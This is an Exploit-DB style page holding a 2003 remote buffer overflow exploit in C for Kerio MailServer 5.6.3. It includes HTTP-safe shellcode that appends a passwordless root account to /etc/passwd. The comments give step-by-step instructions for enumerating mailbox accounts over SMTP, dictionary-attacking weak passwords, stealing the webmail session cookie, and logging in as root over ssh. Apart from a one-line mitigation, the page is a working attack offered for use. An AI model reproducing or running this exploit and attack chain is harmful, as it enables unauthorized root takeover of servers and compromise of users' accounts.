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Suggest Exploit
vendor:
Kerio MailServer
by:
B-r00t
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Kerio MailServer
Affected Version From: 5.6.2003
Affected Version To: 5.6.2003
Patch Exists: NO
Related CWE: Unknown
CPE: a:kerio:mailserver:5.6.3
Metasploit:
Other Scripts:
Platforms Tested:
Unknown

Remote Buffer Overflow Exploit for Kerio MailServer 5.6.3

This exploit allows an attacker to remotely execute arbitrary code on Kerio MailServer 5.6.3. It requires valid authentication details, but can be used to enumerate valid accounts using the 'RCPT TO' command. A dictionary attack can be used to obtain a large number of accounts with weak passwords.

Mitigation:

Update to a secure version of Kerio MailServer and ensure strong passwords are used for all accounts.
Source

Exploit-DB raw data:

/* Remote Buffer Overflow Exploit for Kerio MailServer 5.6.3   */
/* ========================================= */
/*	                        By B-r00t                                  */
/*				                       */
/* In response to the Kerio Mailserver vulnerabilities              */
/* discovered by David F.Madrid.			       */
/*	                                                                       */
/* Although this exploit requires valid authentication	       */
/* details, it is possible to use 'RCPT TO' to enumerate         */
/* valid accounts 'A La Sendmail' as shown below: -	       */
/*

$ telnet 192.168.0.10 25
Trying 192.168.0.10...
Connected to 192.168.0.10.
Escape character is '^]'.
220 dhcp-185-45 Kerio MailServer 5.6.3 ESMTP ready
mail from: Br00t@host.net
250 2.1.0 Sender <Br00t@host.net> ok

rcpt to: nosuchuser@host.net
550 5.1.1 Mailbox <nosuchuser@host.net> does not exist
rcpt to:admin@host.net
250 2.1.5 Recipient <admin@host.net> ok (local) << default 
admin account.
rcpt to: fred@host.net
250 2.1.5 Recipient <fred@host.net> ok (local) << user fred 
seems to exist.

rset
250 2.0.0 Reset state
quit
221 2.0.0 SMTP closing connection
Connection closed by foreign host.

*/
/* Using a dictionary attack to obtain a large number      */
/* of accounts in conjunction with users  natural              */
/* stupidity for using easy to guess passwords should	*/
/* yield at least one valid account.		*/
/*					*/
/* Once an account has been cracked, login to the	*/
/* Kerio webmail service and record the 'userid' 	*/
/* cookie value: -				*/
/*
$ lynx 192.168.0.10
   Username: fred___________
   Password: _______________
   OK


192.168.0.10 cookie: userid=7dc1700017e708a5  Allow? (Y/N/Always/neVer)
*/
/* Accept the cookie 'Y' to ensure you are fully	*/
/* logged in to the Kerio webmail service.		*/
/*

[br00t@silvia:~] $ ./keriobaby 192.168.0.10 userid=7dc1700017e708a5

Payload: 408 / 408 bytes


Wall0p! ... !!!


If successful a UID 0 Account 'keriohacker'
has been appended to /etc/passwd. Use 'ssh'
or 'su' (if local) to get r00t! ....

[br00t@silvia:~] $ ssh -l keriohacker 192.168.0.10
Last login: Thu Jun  5 08:21:30 2003

sh-2.05# id
uid=0(root) gid=0(root) groups=0(root)
sh-2.05# tail -1 /etc/passwd
keriohacker::0:0:B-r00t~R0x~Y3r~W0rld!.:/tmp:/bin/sh
sh-2.05#

*SSH assumes: PermitRootLogin yes & PermitEmptyPasswords yes
Alternative: Recode the shellcode to add normal user!
That's All Folks ...
ENJOY!
*/


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define DEST_PORT 80

int main ( int argc, char *argv[] )
{
int socketfd, bytes;
struct sockaddr_in dest_addr;

char buffer[700];
// char ret[] = "\x07\xf7\x7f\xbe"; // Use this if attached with GDB
char ret[] = "\x07\xf7\xff\xbe"; // RedHat Linux 7.2 + 
kerio-mailserver-mcafee-5.6.3-rh7.i386.rpm
char *ptr = buffer;
char req[] = "GET /list?folder=~";
char cr[] = "\x0D\x0A";

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// Fat Bloke Shellcode to avoid HTTP chars by B-r00t..
// Appends: keriohacker::0:0:B-r00t~R0x~Y3r~W0rld!.:/tmp:/bin/sh
"\xeb\x55\x5e\xb0\xff\x2c\xd0\x88\x06\x88\x46\x04\x88\x46\x34"
"\x88\x46\x39\x88\x46\x3d\x31\xc0\x88\x46\x0b\x88\x46\x41\x66"
"\xb8\x0b\x27\x66\x2d\x01\x27\x66\x89\x46\x40\x8d\x5e\x0c\x89"
"\x5e\x42\xb0\x05\x8d\x1e\x66\xb9\x42\x04\x66\xba\xe4\x01\xcd"
"\x80\x89\xc3\xb0\x04\x8b\x4e\x42\x31\xd2\xb2\xff\x80\xea\xca"
"\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xa6\xff"
"\xff\xff\x58\x65\x74\x63\x58\x70\x61\x73\x73\x77\x64\x58\x6b"
"\x65\x72\x69\x6f\x68\x61\x63\x6b\x65\x72\x3a\x3a\x30\x3a\x30"
"\x3a\x42\x2d\x72\x30\x30\x74\x7e\x52\x30\x78\x7e\x59\x33\x72"
"\x7e\x57\x30\x72\x6c\x64\x21\x2e\x3a\x58\x74\x6d\x70\x3a\x58"
"\x62\x69\x6e\x58\x73\x68\x58\x58\x41\x41\x41\x41"
"\x90\x90\x90\x90\x90\x90";

memset (buffer, '\0', sizeof (buffer));

if (argc < 3) {
        printf("\nUsage: %s [IP_ADDRESS] [COOKIE]", argv[0]);
        printf("\nExample: %s 10.0.0.1 userid=771c740df0270936\n", 
argv[0]);
	exit (1);
        }

printf ("\nPayload: %d / 408 bytes\n\n", strlen(shellcode));

strcpy (buffer, req);
strcat (buffer, shellcode);
strcat (buffer, ret);
strcat (buffer, ret);
strcat (buffer, " HTTP/1.0");
strcat (buffer, cr);
strcat (buffer, "Cookie: ");
strcat (buffer, argv[2]);
strcat (buffer, cr);
strcat (buffer, cr);

if ((socketfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
        perror("Socket");
        exit (1);
        }

dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(DEST_PORT);
if (! inet_aton(argv[1], &(dest_addr.sin_addr))) {
        perror("inet_aton problems");
        exit (2);
        }

memset( &(dest_addr.sin_zero), '\0', 8);

if (connect (socketfd, (struct sockaddr *)&dest_addr, sizeof (struct 
sockaddr)) == -1){
        perror("connect failed");
        close (socketfd);
        exit (3);
        }


bytes = (send (socketfd, ptr, strlen(buffer), 0));
if (bytes == -1) {
        perror("send error");
        close (socketfd);
        exit(4);
        }

close (socketfd);
printf ("\nWall0p! ... !!!\n\n");
printf ("\nIf successful a UID 0 Account 'keriohacker'");
printf ("\nhas been appended to /etc/passwd. Use 'ssh'");
printf ("\nor 'su' (if local) to get r00t! ....\n\n");

}

// milw0rm.com [2003-06-27]